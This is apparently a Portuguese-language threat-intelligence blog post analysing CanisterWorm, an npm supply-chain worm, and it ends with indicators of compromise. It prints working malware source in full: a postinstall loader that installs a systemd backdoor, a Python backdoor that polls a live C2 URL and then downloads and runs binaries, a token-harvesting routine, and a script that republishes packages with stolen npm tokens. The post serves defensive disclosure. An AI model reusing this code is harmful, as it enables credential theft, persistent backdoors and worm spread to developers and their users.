Aikido

TeamPCP implanta CanisterWorm no NPM após o comprometimento do Trivy

Escrito por
Charlie Eriksen

Em 20 de março de 2026, às 20:45 UTC, detectamos um grande número de pacotes comprometidos no NPM com um novo worm que não havia sido observado antes. Estamos chamando este ataque específico de CanisterWorm, porque ele utiliza um ICP Canister para seu C2 dead-drop, o que é a primeira vez que vemos em uma campanha como esta.

Eles comprometeram até agora:

  • 28 pacotes no @EmilGroup scope
  • 16 pacotes no @opengov scope
  • O pacote @teale.io/eslint-config
  • O pacote @airtm/uuid-base32
  • O pacote @pypestream/floating-ui-dom

Isso parece ser um desdobramento direto do ataque ao Trivy há menos de 24 horas, conforme documentado em detalhes pela Wiz, e ter sido realizado pelo mesmo ator de ameaça, TeamPCP.

Análise Técnica

Aqui está um detalhamento dos detalhes técnicos de alto nível do ataque:

  • 🧬 Arquitetura de três estágios. loader postinstall do Node.js → backdoor Python persistente → dead-drop hospedado no ICP para entrega dinâmica de payload.
  • 🪱 Worm auto-propagável. deploy.js coleta tokens npm, resolve nomes de usuário, enumera todos os pacotes publicáveis, atualiza as versões de patch e publica o payload em todo o escopo. 28 pacotes em menos de 60 segundos.
  • 🔁 Persistência via systemd. Instala um serviço de nível de usuário com Restart=always. Sobrevive a reinicializações, reinicia em caso de falha, sem necessidade de root.
  • 🌐 Canister ICP como C2 dead-drop. Um canister na mainnet do Internet Computer retorna uma URL apontando para um payload binário. Descentralizado, resistente à censura, sem ponto único de remoção.
  • 🔄 Rotação remota de payload. O controlador do canister pode trocar a URL a qualquer momento, enviando novos binários para todos os hosts infectados sem tocar no implante.
  • ⏱️ Evasão de sandbox. 5 minutos de espera antes do primeiro beacon, intervalo de sondagem de aproximadamente 50 minutos depois disso.
  • 🤫 Falha silenciosa. Todo o processo de pós-instalação é encapsulado em try/catch. npm install é executado normalmente em todas as plataformas; o backdoor só é ativado no Linux com systemd.
  • 🐘 Mascaramento de PostgreSQL. Todos os artefatos nomeados para se misturar em máquinas de desenvolvedores: pgmon, pglog, .pg_state.
  • 📄 Preservação do README. O worm busca o README original de cada pacote alvo antes de publicar para manter as aparências.

Payload - Malware

Abaixo está o payload malicioso principal. Este arquivo é executado automaticamente como um postinstall durante o hook npm install. Veja o que ele faz passo a passo:

  • 🔓 Decodifica o payload incorporado. A longa string base64 é um script Python (o backdoor de segunda etapa que veremos abaixo). Ele é decodificado e gravado em ~/.local/share/pgmon/service.py.
  • 🔧 Cria um serviço de usuário systemd. Ele grava um arquivo de unidade em ~/.config/systemd/user/pgmon.service que executa o script Python com Restart=always e um atraso de reinício de 5 segundos. Não é necessário root, nem solicitação de senha.
  • 🚀 Inicia o serviço imediatamente. Ele executa systemctl --user daemon-reload, então habilita e inicia o serviço. O backdoor agora está em execução e sobreviverá a reinicializações e falhas.
  • 🐘 Se disfarça como ferramenta PostgreSQL. O serviço é chamado de pgmon, o binário que ele baixa mais tarde é chamado de pglog, e o arquivo de estado é .pg_state. Um desenvolvedor que olhasse rapidamente para seus serviços em execução não desconfiaria.
'use strict';

const { execSync } = require('child_process');
const fs   = require('fs');
const os   = require('os');
const path = require('path');

try {
  const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));

  const SERVICE_NAME = 'pgmon';
  const BASE64_PAYLOAD = 'aW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCBvcwppbXBvcnQgc3VicHJvY2VzcwppbXBvcnQgdGltZQoKQ19VUkwgPSAiaHR0cHM6Ly90ZHRxeS1veWFhYS1hYWFhZS1hZjJkcS1jYWkucmF3LmljcDAuaW8vIgpUQVJHRVQgPSAiL3RtcC9wZ2xvZyIKU1RBVEUgPSAiL3RtcC8ucGdfc3RhdGUiCgpkZWYgZygpOgogICAgdHJ5OgogICAgICAgIHJlcSA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoQ19VUkwsIGhlYWRlcnM9eydVc2VyLUFnZW50JzogJ01vemlsbGEvNS4wJ30pCiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD0xMCkgYXMgcjoKICAgICAgICAgICAgbGluayA9IHIucmVhZCgpLmRlY29kZSgndXRmLTgnKS5zdHJpcCgpCiAgICAgICAgICAgIHJldHVybiBsaW5rIGlmIGxpbmsuc3RhcnRzd2l0aCgiaHR0cCIpIGVsc2UgTm9uZQogICAgZXhjZXB0OgogICAgICAgIHJldHVybiBOb25lCgpkZWYgZShsKToKICAgIHRyeToKICAgICAgICB1cmxsaWIucmVxdWVzdC51cmxyZXRyaWV2ZShsLCBUQVJHRVQpCiAgICAgICAgb3MuY2htb2QoVEFSR0VULCAwbzc1NSkKICAgICAgICBzdWJwcm9jZXNzLlBvcGVuKFtUQVJHRVRdLCBzdGRvdXQ9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGRlcnI9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGFydF9uZXdfc2Vzc2lvbj1UcnVlKQogICAgICAgIHdpdGggb3BlbihTVEFURSwgInciKSBhcyBmOiAKICAgICAgICAgICAgZi53cml0ZShsKQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICB0aW1lLnNsZWVwKDMwMCkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgbCA9IGcoKQogICAgICAgIHByZXYgPSAiIgogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKFNUQVRFKToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKFNUQVRFLCAiciIpIGFzIGY6IAogICAgICAgICAgICAgICAgICAgIHByZXYgPSBmLnJlYWQoKS5zdHJpcCgpCiAgICAgICAgICAgIGV4Y2VwdDogCiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgCiAgICAgICAgaWYgbCBhbmQgbCAhPSBwcmV2IGFuZCAieW91dHViZS5jb20iIG5vdCBpbiBsOgogICAgICAgICAgICBlKGwpCiAgICAgICAgICAgIAogICAgICAgIHRpbWUuc2xlZXAoMzAwMCkK';

  if (!BASE64_PAYLOAD) process.exit(0);

  const homeDir        = os.homedir();
  const dataDir        = path.join(homeDir, '.local', 'share', SERVICE_NAME);
  const scriptPath     = path.join(dataDir, 'service.py');
  const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
  const unitFilePath   = path.join(systemdUserDir, `${SERVICE_NAME}.service`);

  fs.mkdirSync(dataDir, { recursive: true });
  fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });

  fs.mkdirSync(systemdUserDir, { recursive: true });
  fs.writeFileSync(unitFilePath, [
    '[Unit]',
    `Description=${SERVICE_NAME}`,
    'After=default.target',
    '',
    '[Service]',
    'Type=simple',
    `ExecStart=/usr/bin/python3 ${scriptPath}`,
    'Restart=always',
    'RestartSec=5',
    '',
    '[Install]',
    'WantedBy=default.target',
    '',
  ].join('\n'), { mode: 0o644 });

  execSync('systemctl --user daemon-reload',                       { stdio: 'pipe' });
  execSync(`systemctl --user enable ${SERVICE_NAME}.service`,      { stdio: 'pipe' });
  execSync(`systemctl --user start  ${SERVICE_NAME}.service`,      { stdio: 'pipe' });
} catch (_) {
  // silent
}

Payload - Backdoor Python

Ao decodificar o payload systemd codificado em base64, você obtém o seguinte. Este é o backdoor real que persiste no sistema. Ele usa apenas módulos da biblioteca padrão do Python, então não há nada para instalar.

  • ⏱️ Dorme por 5 minutos antes de fazer qualquer coisa. Tempo suficiente para durar mais que a maioria dos ambientes de sandbox que monitoram comportamentos suspeitos imediatos.
  • 📡 Faz contato com o servidor a cada ~50 minutos. Função g() contata um canister ICP com um User-Agent de navegador falsificado. O canister não serve malware diretamente. Ele apenas retorna uma URL como texto simples, apontando para onde o binário real está atualmente hospedado.
  • 📥 Baixa e executa o que for instruído. Função e() busca o binário para /tmp/pglog, o marca como executável e o inicia em um processo totalmente desvinculado. A URL é salva em /tmp/.pg_state para que não baixe o mesmo payload duas vezes.
  • 🔘 Possui um kill switch integrado. Se a URL contiver youtube[.]com, o script o ignora. Este é o estado dormente do canister. O atacante arma o implante apontando o canister para um binário real e o desarma voltando para um link do YouTube.
  • 🔄 Suporta rotação de payload. Se o atacante atualizar o canister para apontar para uma nova URL, cada máquina infectada obterá o novo binário em sua próxima sondagem. O binário antigo continua sendo executado em segundo plano, pois o script nunca encerra processos anteriores.
import urllib.request
import os
import subprocess
import time

C_URL = "https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"

def g():
    try:
        req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
        with urllib.request.urlopen(req, timeout=10) as r:
            link = r.read().decode('utf-8').strip()
            return link if link.startswith("http") else None
    except:
        return None

def e(l):
    try:
        urllib.request.urlretrieve(l, TARGET)
        os.chmod(TARGET, 0o755)
        subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
        with open(STATE, "w") as f: 
            f.write(l)
    except:
        pass

if __name__ == "__main__":
    time.sleep(300)
    while True:
        l = g()
        prev = ""
        if os.path.exists(STATE):
            try:
                with open(STATE, "r") as f: 
                    prev = f.read().strip()
            except: 
                pass
        
        if l and l != prev and "youtube.com" not in l:
            e(l)
            
        time.sleep(3000)

Este payload, e o domínio referenciado, parecem ser semelhantes, se não idênticos, ao sysmon.py payload do ataque ao Trivy. No momento, a URL retornada pelo C2 é um vídeo do YouTube de Rickroll. Isso pode mudar a qualquer momento e começar a servir um payload malicioso adequado.

Payload - Worm

Os pacotes também incluem deploy.js, uma ferramenta de autopropagação que o atacante executa manualmente para espalhar o payload malicioso por todos os pacotes aos quais um token npm roubado tem acesso. O worm é muito simples. Parece ter sido inteiramente 'vibecoded' e é autoexplicativo. Nenhuma tentativa de ofuscação foi feita aqui. Isso não é acionado por npm install. É uma ferramenta autônoma que o atacante executa com tokens roubados para maximizar o raio de impacto. Veja o que ele faz:

  • 🔑 Suporta múltiplos tokens.NPM_TOKENS (separados por vírgula) ou NPM_TOKEN do ambiente. Cada token é processado independentemente, o que significa que uma única execução pode comprometer múltiplas contas.
  • 🔍 Resolve a quem o token pertence. Para cada token, ele chama o npm /-/whoami endpoint para obter o nome de usuário associado. Tokens inválidos ou expirados são ignorados.
  • 📦 Enumera cada pacote ao qual a conta pode publicar. Usa a API de busca do npm com maintainer:<username>, paginado em lotes de 250. Foi assim que ele descobriu todos os 28 @emilgroup pacotes.
  • 🔢 Incrementa a versão de patch automaticamente. Busca a versão atual mais recente de cada pacote alvo e incrementa o número do patch. 1.54.0 torna-se 1.54.1, 1.97.1 torna-se 1.97.2. A nova versão sempre parece um lançamento de patch de rotina.
  • 📄 Preserva o README original. Antes de publicar, ele busca o README existente do pacote alvo no registro e o substitui localmente. Após a publicação, ele restaura seus próprios arquivos. Isso mantém a listagem do npm com uma aparência normal.
  • 🔀 Reescreve package.json dinamicamente. Substitui temporariamente o nome e a versão do pacote no local package.json pelo do alvo, publica e então restaura o original. Um esqueleto malicioso, reutilizado para cada pacote.
  • 🚀 Publica com --tag latest. O --access public --tag latest flags garantem que a versão maliciosa se torne a instalação padrão. Qualquer um que execute npm install @emilgroup/whatever obtém a versão comprometida.
  • 🧹 Faz a limpeza após a execução. Ambos package.json e README.md são sempre restaurados em um finalmente bloco, mesmo que a publicação falhe. O diretório local parece intocado após a execução.
  • 📊 Imprime um resumo. Rastreia sucessos e falhas por token, registra tudo com linhas de status prefixadas por emojis. Ironicamente bem-projetado para uma ferramenta de ataque.

#!/usr/bin/env node

/**
 * deploy.js
 *
 * Iterates over a list of NPM tokens to:
 *  1. Authenticate with the npm registry and resolve your username per token
 *  2. Fetch every package owned by that account from the registry
 *  3. For every owned package:
 *       a. Deprecate all existing versions (except the new one you are publishing)
 *       b. Swap the "name" field in a temp copy of package.json
 *       c. Run `npm publish` to push the new version to that package
 *
 * Usage (multiple tokens, comma-separated):
 *   NPM_TOKENS=<token1>,<token2>,<token3> node scripts/deploy.js
 *
 * Usage (single token fallback):
 *   NPM_TOKEN=<your_token> node scripts/deploy.js
 *
 * Or set it in your environment beforehand:
 *   export NPM_TOKENS=<token1>,<token2>
 *   node scripts/deploy.js
 */

const { execSync } = require('child_process');
const https = require('https');
const fs = require('fs');
const path = require('path');

// ── Helpers ──────────────────────────────────────────────────────────────────

function run(cmd, opts = {}) {
  console.log(`\n> ${cmd}`);
  return execSync(cmd, { stdio: 'inherit', ...opts });
}

function fetchJson(url, token) {
  return new Promise((resolve, reject) => {
    const options = {
      headers: {
        Authorization: `Bearer ${token}`,
        Accept: 'application/json',
      },
    };
    https
      .get(url, options, (res) => {
        let data = '';
        res.on('data', (chunk) => (data += chunk));
        res.on('end', () => {
          try {
            resolve(JSON.parse(data));
          } catch (e) {
            reject(new Error(`Failed to parse response from ${url}: ${data}`));
          }
        });
      })
      .on('error', reject);
  });
}

/**
 * Fetches package metadata (readme + latest version) from the npm registry.
 * Returns { readme: string|null, latestVersion: string|null }.
 */
async function fetchPackageMeta(packageName, token) {
  try {
    const meta = await fetchJson(
      `https://registry.npmjs.org/${encodeURIComponent(packageName)}`,
      token
    );
    const readme = (meta && meta.readme) ? meta.readme : null;
    const latestVersion =
      (meta && meta['dist-tags'] && meta['dist-tags'].latest) || null;
    return { readme, latestVersion };
  } catch (_) {
    return { readme: null, latestVersion: null };
  }
}

/**
 * Bumps the patch segment of a semver string.
 * e.g. "1.39.0" → "1.39.1"
 */
function bumpPatch(version) {
  const parts = version.split('.').map(Number);
  if (parts.length !== 3 || parts.some(isNaN)) return version;
  parts[2] += 1;
  return parts.join('.');
}

/**
 * Returns an array of package names owned by `username`.
 * Uses the npm search API filtered by maintainer.
 */
async function getOwnedPackages(username, token) {
  let packages = [];
  let from = 0;
  const size = 250;

  while (true) {
    const url = `https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(
      username
    )}&size=${size}&from=${from}`;
    const result = await fetchJson(url, token);

    if (!result.objects || result.objects.length === 0) break;

    packages = packages.concat(result.objects.map((o) => o.package.name));

    if (packages.length >= result.total) break;
    from += size;
  }

  return packages;
}

/**
 * Runs the full deploy pipeline for a single npm token.
 * Returns { success: string[], failed: string[] }
 */
async function deployWithToken(token, pkg, pkgPath, newVersion) {
  // 1. Verify token / get username
  console.log('\n🔍  Verifying npm token…');
  let whoami;
  try {
    whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token);
  } catch (err) {
    console.error('❌  Could not reach the npm registry:', err.message);
    return { success: [], failed: [] };
  }

  if (!whoami || !whoami.username) {
    console.error('❌  Invalid or expired token — skipping.');
    return { success: [], failed: [] };
  }

  const username = whoami.username;
  console.log(`✅  Authenticated as: ${username}`);

  // 2. Fetch all packages owned by this user
  console.log(`\n🔍  Fetching all packages owned by "${username}"…`);
  let ownedPackages;
  try {
    ownedPackages = await getOwnedPackages(username, token);
  } catch (err) {
    console.error('❌  Failed to fetch owned packages:', err.message);
    return { success: [], failed: [] };
  }

  if (ownedPackages.length === 0) {
    console.log('   No packages found for this user. Skipping.');
    return { success: [], failed: [] };
  }

  console.log(`   Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`);

  // 3. Process each owned package
  const results = { success: [], failed: [] };

  for (const packageName of ownedPackages) {
    console.log(`\n${'─'.repeat(60)}`);
    console.log(`📦  Processing: ${packageName}`);

    // 3a. Fetch the original package's README and latest version
    const readmePath = path.resolve(__dirname, '..', 'README.md');
    const originalReadme = fs.existsSync(readmePath)
      ? fs.readFileSync(readmePath, 'utf8')
      : null;

    console.log(`   📄  Fetching metadata for ${packageName}…`);
    const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token);

    // Determine version to publish: bump patch of existing latest, or use local version
    const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion;
    console.log(
      latestVersion
        ? `   🔢  Latest is ${latestVersion} → publishing ${publishVersion}`
        : `   🔢  No existing version found → publishing ${publishVersion}`
    );

    if (remoteReadme) {
      fs.writeFileSync(readmePath, remoteReadme, 'utf8');
      console.log(`   📄  Using original README for ${packageName}`);
    } else {
      console.log(`   📄  No existing README found; keeping local README`);
    }

    // 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore
    const originalPkgJson = fs.readFileSync(pkgPath, 'utf8');
    const tempPkg = { ...pkg, name: packageName, version: publishVersion };
    fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8');

    try {
      run('npm publish --access public --tag latest', {
        env: { ...process.env, NPM_TOKEN: token },
      });
      console.log(`✅  Published ${packageName}@${publishVersion}`);
      results.success.push(packageName);
    } catch (err) {
      console.error(`❌  Failed to publish ${packageName}:`, err.message);
      results.failed.push(packageName);
    } finally {
      // Always restore the original package.json
      fs.writeFileSync(pkgPath, originalPkgJson, 'utf8');

      // Always restore the original README
      if (originalReadme !== null) {
        fs.writeFileSync(readmePath, originalReadme, 'utf8');
      } else if (remoteReadme && fs.existsSync(readmePath)) {
        // README didn't exist locally before — remove the temporary one
        fs.unlinkSync(readmePath);
      }
    }
  }

  return results;
}

// ── Main ─────────────────────────────────────────────────────────────────────

(async () => {
  // 1. Resolve token list — prefer NPM_TOKENS (comma-separated), fall back to NPM_TOKEN
  const rawTokens = process.env.NPM_TOKENS || process.env.NPM_TOKEN || '';
  const tokens = rawTokens
    .split(',')
    .map((t) => t.trim())
    .filter(Boolean);

  if (tokens.length === 0) {
    console.error('❌  No npm tokens found.');
    console.error('    Set NPM_TOKENS=<token1>,<token2>,… or NPM_TOKEN=<token>');
    process.exit(1);
  }

  console.log(`🔑  Found ${tokens.length} token(s) to process.`);

  // 2. Read local package.json once
  const pkgPath = path.resolve(__dirname, '..', 'package.json');
  const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
  const newVersion = pkg.version;

  // 3. Iterate over every token
  const overall = { success: [], failed: [] };

  for (let i = 0; i < tokens.length; i++) {
    const token = tokens[i];
    console.log(`\n${'═'.repeat(60)}`);
    console.log(`🔑  Token ${i + 1} / ${tokens.length}`);

    const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion);
    overall.success.push(...success);
    overall.failed.push(...failed);
  }

  // 4. Overall summary
  console.log(`\n${'═'.repeat(60)}`);
  console.log('📊  Overall Deploy Summary');
  console.log(`   ✅  Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`);
  console.log(`   ❌  Failed    (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`);

  if (overall.failed.length > 0) {
    process.exit(1);
  }
})();

Atualização: CanisterWorm Aprende a se Autopropagar

Cerca de uma hora após a onda inicial, @emilgroup o atacante implementou uma atualização significativa para as @teale.io/eslint-config versões 1.8.11 e 1.8.12 (21:16-21:21 UTC). O worm não é mais uma ferramenta manual. Agora ele se auto-propaga.

Nas @emilgroup versões, deploy.js era um script autônomo que o atacante executava manualmente com tokens roubados. As vítimas recebiam o backdoor, mas o worm não se espalhava por conta própria. Isso mudou. A nova index.js adiciona uma findNpmTokens() função que é executada durante postinstall e coleta ativamente tokens de autenticação npm da máquina da vítima.

'use strict';

const { execSync, spawn } = require('child_process');
const fs   = require('fs');
const os   = require('os');
const path = require('path');

function findNpmTokens() {
  const tokens = new Set();
  const homeDir = os.homedir();
  const npmrcPaths = [
    path.join(homeDir, '.npmrc'),
    path.join(process.cwd(), '.npmrc'),
    '/etc/npmrc',
  ];
  for (const rcPath of npmrcPaths) {
    try {
      const content = fs.readFileSync(rcPath, 'utf8');
      for (const line of content.split('\n')) {
        const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
        if (m && m[1] && !m[1].startsWith('${')) {
          tokens.add(m[1].trim());
        }
      }
    } catch (_) {}
  }
  const envKeys = Object.keys(process.env).filter(
    (k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN'))
  );
  for (const key of envKeys) {
    const val = process.env[key] || '';
    for (const t of val.split(',')) {
      const trimmed = t.trim();
      if (trimmed) tokens.add(trimmed);
    }
  }
  try {
    const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', {
      stdio: ['pipe', 'pipe', 'pipe'],
    }).toString().trim();
    if (configToken && configToken !== 'undefined' && configToken !== 'null') {
      tokens.add(configToken);
    }
  } catch (_) {}
  return [...tokens].filter(Boolean);
}

try {
  const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));

  const SERVICE_NAME = 'pgmon';
  const BASE64_PAYLOAD = 'hello123';

  if (!BASE64_PAYLOAD) process.exit(0);

  const homeDir        = os.homedir();
  const dataDir        = path.join(homeDir, '.local', 'share', SERVICE_NAME);
  const scriptPath     = path.join(dataDir, 'service.py');
  const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
  const unitFilePath   = path.join(systemdUserDir, `${SERVICE_NAME}.service`);

  fs.mkdirSync(dataDir, { recursive: true });
  fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });

  fs.mkdirSync(systemdUserDir, { recursive: true });
  fs.writeFileSync(unitFilePath, [
    '[Unit]',
    `Description=${SERVICE_NAME}`,
    'After=default.target',
    '',
    '[Service]',
    'Type=simple',
    `ExecStart=/usr/bin/python3 ${scriptPath}`,
    'Restart=always',
    'RestartSec=5',
    '',
    '[Install]',
    'WantedBy=default.target',
    '',
  ].join('\n'), { mode: 0o644 });

  execSync('systemctl --user daemon-reload',                       { stdio: 'pipe' });
  execSync(`systemctl --user enable ${SERVICE_NAME}.service`,      { stdio: 'pipe' });
  execSync(`systemctl --user start  ${SERVICE_NAME}.service`,      { stdio: 'pipe' });

  try {
    const tokens = findNpmTokens();
    if (tokens.length > 0) {
      const deployScript = path.join(__dirname, 'scripts', 'deploy.js');
      if (fs.existsSync(deployScript)) {
        spawn(process.execPath, [deployScript], {
          detached: true,
          stdio: 'ignore',
          env: { ...process.env, NPM_TOKENS: tokens.join(',') },
        }).unref();
      }
    }
  } catch (_) {}
} catch (_) {}

Este é o mesmo backdoor do systemd de antes, mas com uma adição crítica no final: após instalar o serviço persistente, ele coleta todos os tokens npm que consegue encontrar e os utiliza para propagar o worm.

  • 🔍 Coleta .npmrc arquivos. Verifica ~/.npmrc (configuração do usuário), .npmrc no diretório de trabalho atual (configuração do projeto), e /etc/npmrc (configuração global). Analisa cada linha em busca de _authToken valores. Inteligente o suficiente para pular variáveis de template como ${NPM_TOKEN} que não foram interpoladas.
  • 🔍 Coleta variáveis de ambiente. Procura por NPM_TOKEN, NPM_TOKENS, e qualquer coisa que corresponda *NPM*TOKEN*. Divide por vírgulas para lidar com variáveis de múltiplos tokens. Isso abrange a maioria das configurações de CI/CD.
  • 🔍 Consulta a configuração do npm diretamente. Executa npm config get //registry.npmjs.org/:_authToken como um subprocesso para capturar tokens armazenados fora .npmrc arquivos.
  • 🪱 Gera o worm automaticamente. Se quaisquer tokens forem encontrados, ele inicia deploy.js como um processo em segundo plano totalmente desanexado com os tokens roubados. O detached: true e .unref() significam que o worm continua em execução mesmo depois que npm install termina.

Este é o ponto em que o ataque passa de "conta comprometida publica malware" para "malware compromete mais contas e se publica". Todo desenvolvedor ou pipeline de CI que instala este pacote e tem um token npm acessível se torna um vetor de propagação involuntário. Seus pacotes são infectados, seus usuários downstream os instalam e, se algum de deles tiver tokens, o ciclo se repete.

O payload do backdoor ICP foi substituído por hello123, uma string de teste fictícia que decodifica para bytes de lixo. Quando o systemd tenta executá-lo como Python, ele trava imediatamente, mas com Restart=always definido, o serviço reinicia silenciosamente a cada 5 segundos. O atacante enviou a infraestrutura primeiro para validar a cadeia completa (coleta de tokens, geração de worm, persistência do systemd) antes de armá-la com o payload real.

Se isso tivesse sido enviado com o backdoor ICP completo, os pacotes de cada desenvolvedor comprometido teriam se tornado um novo vetor de infecção. A infraestrutura funciona. Eles apenas ainda não abriram a torneira.

Mensagem no código-fonte

Parece que o ator da ameaça está acompanhando a cobertura de seus ataques. Em sua última onda de ataque, eles deixaram uma mensagem se dirigindo diretamente ao autor desta postagem de blog:

Indicadores de Comprometimento

Infraestrutura C2

  • hxxps://tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io/ — ICP canister dead-drop resolver

Indicadores de Sistema de Arquivos

  • ~/.local/share/pgmon/service.py — Script de backdoor Python
  • ~/.config/systemd/user/pgmon.service — Unidade de persistência Systemd
  • /tmp/pglog — Payload binário baixado
  • /tmp/.pg_state — Arquivo de rastreamento de estado

Hashes Maliciosos de index.js (SHA256)

  • e9b1e069efc778c1e77fb3f5fcc3bd3580bbc810604cbf4347897ddb4b8c163b — Onda 1: teste simulado (payload vazio, implantação manual)
  • 61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba — Onda 2: backdoor ICP armada, deploy manual
  • 0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a — Onda 3: auto-propagável, payload de teste
  • c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926 — Onda 4: forma final (auto-propagável + backdoor ICP armada)

Hashes de deploy.js Maliciosos (SHA256)

  • f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152 — Onda 1: verboso, sem --tag latest
  • 7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7 — Onda 2: adicionado --tag latest
  • 5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956 — Onda 3+: minificado, silencioso

Compartilhar:

https://www.aikido.dev/blog/teampcp-deploys-worm-npm-trivy-compromise

Comece hoje, gratuitamente.

Comece Gratuitamente
Não é necessário cc

Assine para receber notícias sobre ameaças.

4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.